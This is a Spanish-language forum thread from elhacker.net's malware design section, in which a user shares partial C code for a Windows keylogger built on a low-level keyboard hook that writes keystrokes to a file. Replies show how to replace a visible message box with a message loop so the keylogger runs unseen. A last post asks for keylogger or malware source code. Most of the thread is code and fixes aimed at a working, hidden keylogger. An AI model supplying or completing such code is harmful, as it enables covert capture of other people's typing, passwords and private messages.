Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: ars1993 en 6 Julio 2013, 18:36 pm



Título: Keylogger en C (Windows Hooks)
Publicado por: ars1993 en 6 Julio 2013, 18:36 pm
Buenas, he escrito un keylogger en C usando hooks y tengo un pequeño problema, a ver si alguien me puede ayudar.
Ésto es parte de la función principal (WinMain) de mi keylogger
Código:
f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);

        UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;

Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.

Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().

A ver si alguien tiene alguna idea.

Gracias! ;)


Título: Re: Keylogger en C (Windows Hooks)
Publicado por: fary en 6 Julio 2013, 18:52 pm
Esta API envez de MessageBox

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644936%28v=vs.85%29.aspx



Título: Re: Keylogger en C (Windows Hooks)
Publicado por: ars1993 en 8 Julio 2013, 13:31 pm
Lo que he hecho es utilizar GetMessage, transaltemessage y dispatchmessage de la siguiente forma. Supongo que es éso a lo que te refieres, aun asi, me sigue sin funcionar.

Código:

MSG msg;

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

while(1){
  GetMessage(&msg, NULL, 0, 0);
  TranslateMessage(&msg);
  DispatchMessage(&msg);

Ésto compila correctamente y también se ejecuta. Aún así, ahora ya no me loggea los caracteres guardándolos en el fichero tal y como hacia antes cuando utilizaba el MessageBox().



Título: Re: Keylogger en C (Windows Hooks)
Publicado por: The Swash en 9 Julio 2013, 03:09 am
Estás consultando una cola de mensajes así que deberías hacerlo así:
Código
  1. while(GetMessage(&Msg, NULL, 0, 0) > 0)
  2. {
  3.    TranslateMessage(&Msg);
  4.    DispatchMessage(&Msg);
  5. }

Saludos.


Título: Re: Keylogger en C (Windows Hooks)
Publicado por: goto C en 17 Noviembre 2013, 11:42 am
Hola, ars1993, tienes un mensaje privado que te he mandado, o eso creo jaja.

Por favor, estoy muy interesado en estos temas, estoy dispuesto a ayudar, ¿¿¿alguien podría pasarme o indicarme de dónde sacar algún código de keylogger en C??? O cualquier malware escrito en C...

Muchas gracias. Un saludo.